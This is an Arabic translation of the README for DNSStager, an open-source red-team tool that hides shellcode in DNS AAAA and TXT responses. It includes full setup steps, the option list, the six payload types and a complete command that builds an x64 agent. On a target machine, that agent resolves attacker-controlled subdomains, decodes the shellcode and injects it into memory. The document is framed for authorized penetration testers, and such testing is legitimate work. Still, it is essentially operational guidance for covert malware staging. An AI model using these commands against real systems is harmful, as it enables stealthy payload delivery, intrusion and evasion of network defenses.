
أخفِ حمولتك في DNS
DNSStager هو مشروع مفتوح المصدر يعتمد على Python يُستخدم لإخفاء ونقل الحمولة (payload) الخاصة بك باستخدام DNS.
يقوم DNSStager بإنشاء خادم DNS ضار يعالج طلبات DNS إلى نطاقك ويعيد حمولتك كاستجابة لطلبات سجلات محددة مثل سجلات AAAA أو TXT بعد تقسيمها إلى أجزاء وتشفير الحمولة باستخدام خوارزميات مختلفة.
يمكن لـ DNSStager إنشاء وكيل مخصص مكتوب بلغة C أو GoLang يقوم بحل سلسلة من النطاقات، واسترجاع الحمولة، وفك تشفيرها، وأخيرًا حقنها في الذاكرة بناءً على أي تقنية تريدها.
يمكنك تعديل كود وكيل DNSStager كما تشاء، وبنائه باستخدام تقنيات التنفيذ المخصصة الخاصة بك.
الهدف الرئيسي من استخدام DNSStager هو مساعدة فرق الاختراق الأحمر/مختبرات الاختراق (red teamers/pentesters) على توصيل حمولاتهم عبر قناة خفية باستخدام DNS.
بناءً على خيار تحليل DNS الذي تختاره، سيقوم DNSStager بتقسيم حمولتك إلى أجزاء وحفظ كل جزء من الحمولة كاستجابة لنطاق فرعي.
على سبيل المثال، إذا اخترت IPV6 كخيار لاسترجاع الحمولة، فستكون استجابة DNS شيئًا مثل:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
حيث 5648:31d2:6548:8b52:6048:8b52:1848:8b52 هو جزء من حمولتك.
لذا، سيقوم الوكيل بحل بعض النطاقات لاسترجاع الحمولة ثم فك تشفيرها وأخيرًا حقنها في الذاكرة.
حاليًا، يدعم DNSStager سجلين فقط، AAAA و TXT. يمكنك تشفير حمولتك باستخدام XOR لسجل AAAA وافتراضيًا سيتم تشفيرها كـ base64 إذا اخترت سجل TXT.
يتمتع DNSStager ببعض الميزات الرئيسية مثل:
IPV6.TXT.C مع إمكانية تخصيصه.GoLang مع إمكانية تخصيصه.يمكنك تثبيت متطلبات بايثون الخاصة بـ DNSStager عبر:
pip3 install -r requirements.txt
تحتاج إلى تثبيت إصدار GoLang 1.16.3 وتأكد من تثبيت حزم GoLang التالية:
أيضًا، تأكد من تثبيت ming-w64 عبر:
apt install mingw-w64
من المفترض أن يقوم السكريبت setup.sh بذلك نيابة عنك، ولكن راجع المتطلبات مرة أخرى قبل استخدامه!
للحصول على أحدث إصدار من DNSStager، تأكد من استنساخه من هذا المستودع باستخدام الأمر التالي:
git clone https://github.com/mhaskar/DNSStager
ثم تحتاج إلى تثبيت المتطلبات باستخدام الأمر التالي:
pip3 install -r requirements.txt
وتأكد أيضًا من تثبيت جميع المتطلبات المذكورة سابقًا.
بعد القيام بكل ذلك، أنت جاهز لتشغيل DNSStager كجذر (root) للحصول على ما يلي:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
لبدء استخدام DNSStager، تأكد من إعداد إعدادات DNS أولاً، يجب أن تجعل نطاقك يشير إلى مثيل DNSStager كـ NS record من أجل التعامل مع جميع طلبات DNS إلى نطاقك.
يمكنك قراءة هذا المقال الكامل حول كيفية إعداد واستخدام DNSStager.
ويمكنك التحقق من الخيارات باستخدام المفتاح -h كما يلي:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: يمكنك استخدام هذا الخيار لتحديد النطاق الرئيسي الذي ستستخدمه للتعامل مع طلبات DNS.
-- prefix: البادئة التي تريد استخدامها لمخطط النطاق الفرعي
على سبيل المثال، إذا كان نطاقك الرئيسي هو fakedns.live يمكنك تحديد البادئة كـ "cdn" مثلاً، وبالتالي ستكون النطاقات المولدة نمطًا كما يلي:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveحيث N هو رقم يتم توليده تلقائيًا يمثل عدد أجزاء حمولتك.
--payload: الحمولة "الوكيل" الخاصة بـ DNSStager التي تريد توليدها بناءً على التقنية ولغة البرمجة والبنية.
--output: مسار الإخراج لحفظ ملف الوكيل القابل للتنفيذ الخاص بـ DNSStager.
--shellcode_path: مسار شيلكود الخاص بك بتنسيق raw/bin.
--xorkey: مفتاح XOR لتشفير الحمولة به.
--sleep: يستخدم للنوم لمدة N ثانية بين كل طلب DNS.
--tcp: بدء واستخدام خادم DNS عبر بروتوكول TCP.
للتحقق من حمولات DNSStager المتاحة، يمكنك استخدام ./dnsstager.py --payloads للحصول على النتائج التالية:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
سيقوم هذا المثال بتشغيل DNSStager لحل حمولتك كـ IPV6 باستخدام النطاق test.mydnsserver.live مع البادئة cloud-srv- لتوليد وكيل مترجم x64 C مشفر بمفتاح 0x10:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
وسيكون الإخراج:

وللتحقق من أن كل شيء يعمل بشكل جيد، دعنا نرسل استعلام DNS إلى cloud-srv-0.test.mydnsserver.live للحصول على ما يلي:

يمكننا أن نرى أننا تلقينا f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b كاستجابة وهي أول 16 بايت من حمولتنا المشفرة.
ثم يمكنك تنفيذ الوكيل /tmp/a2.exe (كما تم تعيينه باستخدام --output في سطر الأوامر) على الجهاز الهدف وسيقوم ذلك بتنزيل جميع الأجزاء المطلوبة وفك تشفيرها وحقنها في الذاكرة نيابة عنك.
هذا المشروع مرخص بموجب رخصة GPL-3.0 - راجع ملف LICENSE للحصول على التفاصيل.